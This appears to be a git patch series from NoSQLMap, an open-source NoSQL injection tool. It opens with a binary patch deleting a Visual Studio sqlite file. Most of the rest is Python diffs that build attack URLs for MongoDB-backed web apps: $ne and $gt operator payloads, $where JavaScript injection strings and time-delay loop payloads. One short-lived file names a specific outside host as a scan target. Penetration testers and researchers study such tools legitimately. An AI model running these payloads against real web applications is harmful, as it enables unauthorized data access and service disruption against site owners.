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 Date: Thu, 14 Sep 2017 15:02:03 +1000 Subject: [PATCH 166/207] Delete slnx.sqlite --- .vs/slnx.sqlite | Bin 73728 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .vs/slnx.sqlite diff --git a/.vs/slnx.sqlite b/.vs/slnx.sqlite deleted file mode 100644 index 60f908661cb579829481c1dd9fddc6ccbfd91b9f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 73728 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 Date: Sat, 23 Sep 2017 19:33:26 +0700 Subject: [PATCH 167/207] Use Urllib Quote for parameter value --- nosqlmap.py | 11 ++++++----- nsmweb.py | 28 ++++++++++++++-------------- prison | 2 ++ 3 files changed, 22 insertions(+), 19 deletions(-) create mode 100644 prison diff --git a/nosqlmap.py b/nosqlmap.py index 1885ab8..d7df2da 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,3 +1,4 @@ +# -*- coding: utf-8 -*- #!/usr/bin/python # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission @@ -55,11 +56,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') -  print " _ _ ___ ___ _ __ __           " -  print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " -  print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \" -  print "|_|\_\___/___/\__\_\____|_| |_\__,_| .__/" -  print " v0.7 codingo@protonmail.com      |_|   " + print " _ _ ___ ___ _ __ __           " + print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " + print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\" + print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/") + print(" v0.7 codingo@protonmail.com      |_|   ") print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" diff --git a/nsmweb.py b/nsmweb.py index 3c99ed0..167de1e 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -915,24 +915,24 @@ def buildUri(origUri, randValue): if paramName[x] in injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" - uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" - uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" - uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" - uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" - uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&" + uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&" + uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&" + uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&" + uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&" + uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&" uriArray[8] += paramName[x] + "[$gt]=&" - uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" - uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" - uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" - uriArray[14] += paramName[x] + "a'; return true; var dum='a" + uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&" + uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&" + uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&" + uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&" + uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&" + uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a") uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=a\'; ---" + uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---") uriArray[17] += paramName[x] + "=1; if ---" - uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" diff --git a/prison b/prison new file mode 100644 index 0000000..1c9da3a --- /dev/null +++ b/prison @@ -0,0 +1,2 @@ +prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF, +{} \ No newline at end of file From 71bcf456ba6c3380050a98bf33ad0074dd85f461 Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Tue, 26 Sep 2017 11:14:11 +1000 Subject: [PATCH 168/207] Update prison --- prison | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/prison b/prison index 1c9da3a..8b13789 100644 --- a/prison +++ b/prison @@ -1,2 +1 @@ -prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF, -{} \ No newline at end of file + From 98021fca70ff69e2f64e913a040538606723a4ba Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Tue, 26 Sep 2017 11:15:08 +1000 Subject: [PATCH 169/207] Delete prison --- prison | 1 - 1 file changed, 1 deletion(-) delete mode 100644 prison diff --git a/prison b/prison deleted file mode 100644 index 8b13789..0000000 --- a/prison +++ /dev/null @@ -1 +0,0 @@ - From 6c9fbe954cee594acc94472f1c7559c4cd3959cf Mon Sep 17 00:00:00 2001 From: Sudhanshu Chauhan Date: Tue, 26 Sep 2017 17:19:57 +0530 Subject: [PATCH 170/207] Update nsmweb.py --- nsmweb.py | 54 +++++++++++++++++++----------------------------------- 1 file changed, 19 insertions(+), 35 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 167de1e..4dd77c8 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -133,6 +133,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Test 2: $where injection (string escape)" + print uriArray[2] req = urllib2.Request(uriArray[2], None, requestHeaders) errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -890,49 +891,31 @@ def buildUri(origUri, randValue): return x = 0 - uriArray[0] = split_uri[0] + "?" - uriArray[1] = split_uri[0] + "?" - uriArray[2] = split_uri[0] + "?" - uriArray[3] = split_uri[0] + "?" - uriArray[4] = split_uri[0] + "?" - uriArray[5] = split_uri[0] + "?" - uriArray[6] = split_uri[0] + "?" - uriArray[7] = split_uri[0] + "?" - uriArray[8] = split_uri[0] + "?" - uriArray[9] = split_uri[0] + "?" - uriArray[10] = split_uri[0] + "?" - uriArray[11] = split_uri[0] + "?" - uriArray[12] = split_uri[0] + "?" - uriArray[13] = split_uri[0] + "?" - uriArray[14] = split_uri[0] + "?" - uriArray[15] = split_uri[0] + "?" - uriArray[16] = split_uri[0] + "?" - uriArray[17] = split_uri[0] + "?" - uriArray[18] = split_uri[0] + "?" + for item in paramName: if paramName[x] in injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" - uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&" - uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&" - uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&" - uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&" - uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&" - uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&" + uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" + uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" + uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" + uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" + uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" uriArray[8] += paramName[x] + "[$gt]=&" - uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&" - uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&" - uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&" - uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&" - uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&" - uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a") + uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" + uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" + uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" + uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" + uriArray[14] += paramName[x] + "a'; return true; var dum='a" uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---") + uriArray[16] += paramName[x] + "=a\'; ---" uriArray[17] += paramName[x] + "=1; if ---" - uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&" + uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -959,7 +942,9 @@ def buildUri(origUri, randValue): #Clip the extra & off the end of the URL x = 0 while x <= 18: - uriArray[x]= uriArray[x][:-1] +# uriArray[x]= uriArray[x][:-1] + uriArray[x]=split_uri[0]+"?"+urllib.quote_plus(uriArray[x][:-1]) + x += 1 return uriArray[0] @@ -1193,4 +1178,3 @@ def getDBInfo(): crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") return - From 8c1fe3507cc718c36ff62b27a2789d83fa62fccb Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Wed, 11 Oct 2017 11:55:48 +1000 Subject: [PATCH 171/207] Create nop --- docs/nop | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/nop diff --git a/docs/nop b/docs/nop new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/docs/nop @@ -0,0 +1 @@ + From 0c642e3e42f61c05c816b20f4d76a523cbace5be Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Wed, 11 Oct 2017 11:56:20 +1000 Subject: [PATCH 172/207] Set theme jekyll-theme-cayman --- docs/_config.yml | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/_config.yml diff --git a/docs/_config.yml b/docs/_config.yml new file mode 100644 index 0000000..c419263 --- /dev/null +++ b/docs/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-cayman \ No newline at end of file From 5dc778abe48009f20ca1eb59d8036176527949ad Mon Sep 17 00:00:00 2001 From: Andres Riancho Date: Fri, 20 Oct 2017 17:36:28 -0300 Subject: [PATCH 173/207] Better error handling for web applications which respond with non-200 codes --- nsmweb.py | 112 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 59 insertions(+), 53 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 4dd77c8..f38725e 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -58,7 +58,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): req = urllib2.Request(appURL, None, requestHeaders) appRespCode = urllib2.urlopen(req).getcode() if appRespCode == 200: - normLength = int(len(urllib2.urlopen(req).read())) + normLength = int(len(getResponseBodyHandlingErrors(req))) timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() @@ -86,7 +86,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - # Add error handling for Non-200 HTTP response codes if random strings freaks out the app. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" raw_input("Press enter to continue...") @@ -101,7 +100,9 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Sending random parameter value..." - randLength = int(len(urllib2.urlopen(req).read())) + responseBody = getResponseBodyHandlingErrors(req) + randLength = int(len(responseBody)) + print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -117,10 +118,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): # Test for errors returned by injection req = urllib2.Request(uriArray[1], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -135,11 +136,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print uriArray[2] req = urllib2.Request(uriArray[2], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 @@ -154,11 +155,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 3: $where injection (integer escape)" req = urllib2.Request(uriArray[3], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) 